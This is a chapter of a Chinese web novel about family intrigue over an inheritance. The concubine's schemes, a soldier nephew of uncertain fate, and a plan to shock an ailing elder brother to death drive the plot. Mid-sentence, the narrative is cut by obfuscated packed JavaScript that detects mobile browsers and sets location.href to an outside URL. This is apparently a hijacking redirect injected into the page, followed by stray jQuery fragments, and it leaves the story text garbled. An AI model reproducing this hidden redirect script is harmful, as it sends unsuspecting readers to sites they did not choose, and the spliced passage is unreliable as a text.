默认冷灰
24号文字
方正启体

19. 不过是个玩物

作者:许是如云本书字数:K更新时间:
    “云娘,你怎么现在才回来?”


    祈桓正立在书房内,背着手不知在思考什么,辛云娘换了华丽的衣裙钗环,手中提着食盒,敲了敲祈桓的门。


    “桓郎说什么呢,奴家早就回来了。”


    辛云娘扭着水蛇腰肢,将食盒轻轻搁在案几上:


    “奴家不过是惦记着桓郎喜欢李记的古楼子,专程去给桓郎买了些回来。桓郎也知道,李记的古楼子做得最好,那羊肉牛肉可新鲜着呢,奴家可是等了好久,才买回这些新鲜出炉的。可谁知道啊,金柳告诉奴家,你今晚去了大娘子那里用饭,奴家只得亲自又热热,直到大娘子肯放你了,我才敢拿来给你呢……可谁叫桓郎你,对奴家说话如此生硬。”


    辛云娘说着,语气里有些娇柔的醋意。


    祈桓见辛云娘生了小脾气,忙笑盈盈地走过去,将辛云娘搂在怀里。


    “好了好了……我语气是重了些,你可别气了,当心气坏了身子。”


    辛云娘转过身,往祈桓胸前轻捶了一下,香帕拂过祈桓的脸。


    “奴家哪敢生你的气啊。哼……奴家平日里在这院儿里关着,哪里也去不了,好不容易出去一趟,还想着给你捎些喜欢的吃食,可你却是个负心的。”


    祈桓呵呵笑着,紧搂住辛云娘,在她耳边说道:“那……今晚郎君好好疼疼你。”


    “……桓郎讨厌,净说些害羞话,叫下人听了多不好。”


    两人在书房里你侬我侬、打情骂俏,辛云娘的笑声放肆地飞了出去。有了辛云娘,祈桓的心情似乎也舒展了许多,今日覃掌柜来递消息,说祈铄派了小娘子去查账,令他的神经顿时紧绷起来。


    他担心,祈铄的身体已然恢复,要开始查问生意上的事。


    想到这,祈桓忽然正经起来,问怀里的辛云娘:“今天你出去,是不是碰着大房家的人了?”


    辛云娘点点头:“那个扈掌柜,今日不知怎么了,突然来了铺子里。不过桓郎你放心,奴家没让他瞧见,从后门儿走了。”


    祈桓说:“以后要提高警惕,东市口那边,就先别去了。”


    “为什么?”


    “今天覃掌柜派人来,说大房要把东市口的三间铺子,交给那个刚进门的小娘子练练手。我担心,我大哥可能已经发现了什么。”


    辛云娘心中直叫“可惜”,那东市口的覃掌柜是个识趣的,这边打哈欠那边送枕头,可给了她不少好处。不过她转念又一想,今天刚收了二十两银子,过段时日再去也使得。


    辛云娘娇笑起来,靠进祈桓的胸膛里说道:


    “奴家都听桓郎的,桓郎不要奴家去,奴家便不去。”


    “好,好……真是我的心肝肉疙瘩。”


    祈桓最喜欢辛云娘听话又温柔,当个宝贝似的搂在怀里亲,恨不得在书房就把事儿办了。


    可他想到待会儿四弟还要来,只得依依不舍地推开辛云娘:


    “还是让我吃口古楼子吧,云娘你好不容易替我买来,这份心意,我记在心里了。放心吧云娘,只要有我在一天,你和崇儿我都当宝贝似的,绝不叫你们受一点委屈。”


    辛云娘笑得似朵花儿,伺候祈桓吃起了饼。


    刚吃一口,祈桓又想起问辛云娘:“对了,我叫你找的人,可有合适的人选了?”


    “已经找着了。”辛云娘说道,“她原是胭脂阁的,不知做了什么惹恼了霸爷,将她发卖出来。她原是良民卖唱的,走投无路才卖给了霸爷,长得还算不错,也有些手段,就是……就是这身子早破了。”


    祈桓嚼着饼说:“无妨,哪怕送过去了,她是我们的人,恐怕那边也得防着。本就是个贱妾,不过是个玩物,破了身,让她想想法子就行——我知道她们那种人,手段多得是。”


    听祈桓如此说,辛云娘酸道:“是啊……不过是个玩物罢了。”


    “哎,你与她怎可相比较?”祈桓忙安慰道,“我可把你当宝贝,这还不够啊?”


    “哼,桓郎知道奴家与那种人不同就好。”


    “知道知道当然知道。”祈桓安慰好辛云娘,才问道,“她现在在哪?”


    辛云娘说:“只让她在外面做做扫洒——桓郎放心,奴家都吩咐过了,不叫她糙了手。”


    祈桓点点头,一碗古楼子也很快被喂完了。他拾起帕子擦擦嘴,对辛云娘说:“我叫了老四过来,你就先回房等我,这里的事儿处理好了我便去——好好准备准备,今晚,郎君定不叫你睡觉。”


    辛云娘娇笑着轻推他一把,收拾好食盒离开了书房。


    辛云娘走后,祈桓命丫鬟收拾好书房,如今心情爽利了,他又兢兢业业地翻看起账本来。丫鬟前脚刚收拾好,祈炜后脚就进了书房,叫了声“二哥”,便神色复杂地坐下来。


    祈桓一眼就看穿了他:“怎么了,是不是军营那边得不到消息?”


    祈炜抬眼看了看祈桓,又叹了口气垂下头去。


    “怎么,不是?”


    “唉!”祈炜似乎终于鼓起勇气,说道,“我这……我不知该怎么和你说!”


    祈桓瞪大双眼,禁不住站起身来绕到他面前:“我那大侄子还活着?”


    祈炜不敢看祈桓,转过脸去摇摇头。


    “什么……他战死了?你确定吗?”


    祈炜还是摇头。


    这下祈桓看不明白了:“你倒是说啊!这人要么死了要么活着,你这死也摇头活也摇头,到底是什么意思?怎么,他是受了重伤,半死不活吗?”


    祈炜一时语塞,自己也不知道该从何说起。


    祈桓就站在他面前,像座大山。祈炜和祈桓是一娘所出,可他这胞哥从小就处处比他强,自己又愚笨,什么事都做不好,他对祈桓既是敬,也是怕。


    终归是要说的。祈炜叫二哥先坐下喝口茶,他肚子里组织了会儿语言,才说道:


    “一开始那人说……说祈楚在和卡十一战中战死了,他怕空口无凭,还将战死士兵的名单抄了份出来,说遗物和抚恤金都送全部送到了。”


    祈炜说到这,将那份名单从袖口里抽出来,递给祈桓。


    祈桓见名单上有名有姓有籍贯,生卒年也记录得详细,顿时激动起来。


    祈炜接着说:“这名单交到我手上后,我本打算立马来找你,可有些事儿绊住了……等我处理完事儿打算过来,那人竟然又找到我,说……说……”


    “到底说什么了!”


    “说北固军全体班师回国,他又打听到祈楚根本没有死……不仅没死,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527198|203563||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    卡十一战,祈楚和几个大头兵,还立了大功。秦起大将军知道后,亲自接见了他们……那人说,此事军营里的士兵都知道,人人都听说过我那侄儿的大名……”


    “一说他战死了,一说他立了功……那我们就根本无从知道,祈楚究竟是死是活。”


    祈桓沉吟起来,捏着那份名单,重重地坐回书案后。


    祈炜为难地说:“所以啊,你说这……这我怎么和你说嘛!”


    “不过,好歹我们确定,祈楚根本不在家中养病。”祈桓冷静下来,盯着书桌上攒动的烛火,缓缓说道,“我那大嫂子,定是收到了军营传来的死讯,为了稳住大房,才来了冥婚这一出……果然,果然……”


    祈桓早就猜测过这个可能,只不过苦于没有证据。


    而如今,这份证据,就捏在他手中。


    祈炜却想不明白:“可……祈楚也有可能根本没死啊。”


    “有什么关系么?”祈桓冷冷一笑,“要么,他现在还在军营,要么……”


    祈桓心说——要么祈楚,已经回来了。不仅回来了,还以假死作为掩护,打算暗中调查自己的所作所为,想替祈铄拿回他家的产业。只是这个猜想,他并未对祈炜和盘托出。


    “要么什么?”祈炜忙问。


    “要么,祈楚立功的事,就只是谣传罢了。”


    祈桓虽嘴上这么说,可他心里却亮如明镜。


    将军百战死,壮士十年归。


    祈楚一个大头兵,军营里竟然尽人皆知,本就是十分反常。


    况且,假设祈楚立了大功,秦起大将军还亲自召见他,理应有所封赏,怎么……也得封个尉官。可如今北固军班师回朝,就驻扎在平凉城以北,却没有任何消息传来,打探消息的人也没有提起祈楚得了任何封赏。


    祈桓盯着攒动的烛火,暗自揣度起来。


    不久前,祈铄鼓动商会去给北固军运送物资,没想到遇到卡十的精兵,中了流箭险些丢了性命——他可是说过,当时正是祈楚救了他。祈楚是知道父亲中了箭伤势严重,他作为独子,怎可置之不顾?


    因此祈桓猜测——祈楚定是因着立了功,请求卸甲回家,而秦起大将军素来爱兵如子,此时北方已定,便同意他免了兵役。


    “哦……”祈炜却想不到那般深入,只似懂非懂地点点头说,“可……这些都只是猜测,祈楚究竟是死是活,不还是没有定论吗?”


    “但这名单,却是真的。”祈桓说,“今日这小娘子出现,要接手祈家的产业,便足以说明祈家后继无人,才无奈要一介女流出面掌事。”


    祈炜激动起来:“这么说,祈楚是真死在战场上了?”


    祈桓说:“唉……大哥从小患有心疾,体弱,也受不得刺激。如今又当胸口中了一箭,更是雪上加霜——你说,若是大哥知道唯一的儿子死了,会怎样?”


    “那定是急火攻心,说不定就……”


    祈炜突然愣住了。


    “二哥,你是想?……”


    祈桓将那名单折了折,放进身后的锦盒里。


    他眼中闪过一丝寒光:“沈氏千般理由,不让我们见大哥,所以我们要想个法子,要大哥出面才行……如今只需破斧沉舟,不是你死,就是我亡。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)